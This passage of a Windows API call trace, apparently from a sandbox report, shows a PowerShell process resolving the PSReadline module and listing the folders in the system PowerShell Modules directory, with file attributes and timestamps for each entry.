0x4a [0191.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0191.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003ccb38 | out: lpFileInformation=0x1ef003ccb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0191.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.811] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0191.812] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0191.812] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0191.812] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0191.812] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0191.812] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0191.814] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0191.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.815] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0191.815] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0191.815] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704701c0 [0191.816] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppBackgroundTask", cAlternateFileName="APPBAC~1")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0191.816] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0191.817] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0191.817] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssignedAccess", cAlternateFileName="ASSIGN~1")) returned 1 [0191.817] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitLocker", cAlternateFileName="BITLOC~1")) returned 1 [0191.817] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigCI", cAlternateFileName="")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defender", cAlternateFileName="")) returned 1 [0191.818] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeliveryOptimization", cAlternateFileName="DELIVE~1")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0191.819] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.LocalAccounts", cAlternateFileName="MICROS~1.LOC")) returned 1 [0191.821] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0191.822] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMAgent", cAlternateFileName="")) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0191.823] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 